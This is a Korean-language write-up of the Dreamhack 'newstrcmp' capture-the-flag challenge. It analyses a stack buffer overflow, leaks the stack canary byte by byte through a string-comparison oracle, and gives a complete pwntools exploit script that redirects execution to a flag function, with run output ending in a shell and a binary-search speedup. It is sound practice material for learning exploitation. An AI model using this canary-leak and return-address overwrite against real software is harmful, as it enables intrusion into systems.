dreamhack - newstrcmp writeup
[dreamhack] newstrcmp writeup
1. 문제

드림이가 strcmp 함수를 직접 구현하며 기능을 추가했어요.
주어진 바이너리와 소스 코드를 분석하여 익스플로잇하고 플래그를 획득하세요! 플래그는 flag 파일에 있습니다.
2. 풀이
_DWORD *__fastcall newstrcmp(const char *str1, __int64 str2, _DWORD *a3)
{
int indicator; // edx
_DWORD *result; // rax
int i; // [rsp+28h] [rbp-8h]
int len_str1; // [rsp+2Ch] [rbp-4h]
len_str1 = strlen(str1);
for ( i = 0; ; ++i )
{
if ( i >= len_str1 ) // str1 == str2
{
a3[1] = 0; // it is same, so save 0 at res[1]
result = a3;
*a3 = -1; // save -1 at res[0] (indicates diff index)
return result;
}
if ( str1[i] != *(_BYTE *)(i + str2) ) // if str1 != str2, then break
break;
}
if ( str1[i] >= *(_BYTE *)(i + str2) ) // if str1 is larger, it is 1
indicator = 1;
else
indicator = -1; // if str2 is larger, it is -1
a3[1] = indicator;
result = a3;
*a3 = i;
return result;
}
int __cdecl main(int argc, const char **argv, const char **envp)
{
int count; // [rsp+10h] [rbp-50h]
unsigned int res[2]; // [rsp+14h] [rbp-4Ch] BYREF
char buf[2]; // [rsp+1Eh] [rbp-42h] BYREF
char str1[16]; // [rsp+20h] [rbp-40h] BYREF
__int64 v8; // [rsp+30h] [rbp-30h]
__int64 v9; // [rsp+38h] [rbp-28h]
char str2[24]; // [rsp+40h] [rbp-20h] BYREF
unsigned __int64 v11; // [rsp+58h] [rbp-8h]
v11 = __readfsqword(0x28u);
v8 = 0LL;
v9 = 0LL;
count = 0;
setup();
puts("Tester for newstrcmp");
while ( 1 )
{
printf("Trial: %d\n", (unsigned int)++count);
printf("Exit? (y/n): ");
read(0, buf, 2uLL);
if ( buf[0] == 'y' )
break;
printf("Input string s1: ");
read(0, str1, 0x40uLL);
printf("Input string s2: ");
read(0, str2, 0x40uLL);
newstrcmp(str1, (__int64)str2, res);
printf("Result of newstrcmp: ");
if ( res[1] )
{
if ( (res[1] & 0x80000000) == 0 ) // when res[1] >= 0
printf("s1 is larger than s2, first differs at %d\n", res[0]);
else
printf("s1 is smaller than s2, first differs at %d\n", res[0]);
}
else
{
puts("Two strings are the same!");
}
}
return 0;
}
말그대로 strcmp
함수를 직접 구현한 newstrcmp
함수가 존재한다. 두개의 문자열을 0x40
바이트만큼 입력 받아서 한 바이트씩 확인한다.
그리고 같은지 다른지만 알려주는게 아니라 어떤 문자열이 더 크고 작은지, 그리고 어디 위치에서 달라지는지도 알려준다.
취약점은 0x40
바이트를 각각 입력받을 수 있는데 실제 str1
은 0x20
바이트, str2
는 0x18
바이트만 입력이 가능하다.
bof
취약점이 발생함에 따라 str1
에 대한 입력만으로 canary
까지 덮을 수 있음을 알 수 있다.
그래서 canary
를 leak을 할 수 있는데 생각해낸 아이디어가 좀 복잡하다.
payload1 = b"a" * 0x19 + canary + bytes([i]) + b"\xff"
payload2 = b"a" * 0x19
위와 같이 a
를 0x19개만큼 넣고, 이후에 0x01
부터 0xff
까지 가능한 바이트를 모두 넣어본다.
그리고 마지막에는 0xff
를 넣어서 예상되는 canary
의 첫번째 바이트와 같아지는 순간 payload1
이 payload2
보다 무조건 큰 문자열이 되게하는 것이 핵심이다.
그리고 찾으면 canary
에 추가하고, 그다음 바이트를 찾고, 계속 반복한다.
최종 exploit은 아래와 같다.
from pwn import *
p = process("./newstrcmp")
p = remote("host8.dreamhack.games", 18979)
elf = ELF("./newstrcmp")
canary = b""
while (len(canary) < 7):
for i in range(0x01, 0x100):
p.sendafter(b"(y/n): ", b"n")
payload1 = b"a" * 0x19 + canary + bytes([i]) + b"\xff"
payload2 = b"a" * 0x19
#print(payload1)
#print(payload2)
p.sendafter(b"s1: ", payload1)
p.sendafter(b"s2: ", payload2)
tmp = p.recvline()
if i == 0x01:
if b"small" in tmp:
ck = 0
else:
ck = 1
if (b"larger" in tmp and ck == 0) or (b"small" in tmp and ck == 1):
canary = canary + bytes([i])
print(len(canary))
print(canary.hex())
break
canary = u64(b"\x00" + canary)
print(canary)
p.sendafter(b"(y/n): ", b"n")
payload = b"a" * 0x18 + p64(canary) + b"b" * 8 + p64(elf.symbols["flag"])
p.sendafter(b"s1: ", payload)
p.sendafter(b"s2: ", payload)
p.sendafter(b": ", b"y")
p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level3/newstrcmp$ python3 e_newstrcmp.py
[+] Starting local process './newstrcmp': pid 3245487
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level3/newstrcmp/newstrcmp'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
1
03
2
03e7
3
03e7fe
4
03e7fe18
5
03e7fe18e4
6
03e7fe18e441
7
03e7fe18e441b8
13277143972471833344
[*] Switching to interactive mode
Two strings are the same!
Trial: 991
Exit? (y/n): $ id
uid=1001(ubuntu) gid=1001(ubuntu) groups=1001(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),105(lxd),114(docker)
문제는 이게 로컬에서는 금방 되는데 서버환경에다가 하려니까 (심지어 지금은 미국에 있다보니) 거의 10분 가까이 걸렸다. 그래서 짧게하려면 이진탐색을 써야한다.
while len(canary) < 7:
low, high = 0x00, 0xff
while low <= high:
mid = (low + high) // 2
p.sendafter(b"(y/n): ", b"n")
payload1 = b"a" * 0x19 + canary + bytes([mid]) + b"\xff"
payload2 = b"a" * 0x19
p.sendafter(b"s1: ", payload1)
p.sendafter(b"s2: ", payload2)
tmp = p.recvline()
if b"larger" in tmp:
high = mid - 1
elif b"small" in tmp:
low = mid + 1
else:
canary += bytes([mid])
print(len(canary), canary.hex())
break
else:
canary += bytes([low])
print(len(canary), canary.hex())
이렇게하면 기존에 최악의 경우 256번씩 해야하던걸 최대 8번안에 끝낼 수 있다.
그치만 귀찮아서 그냥 먼저 브포 때리고 이진탐색은 나중에 했다..
해결~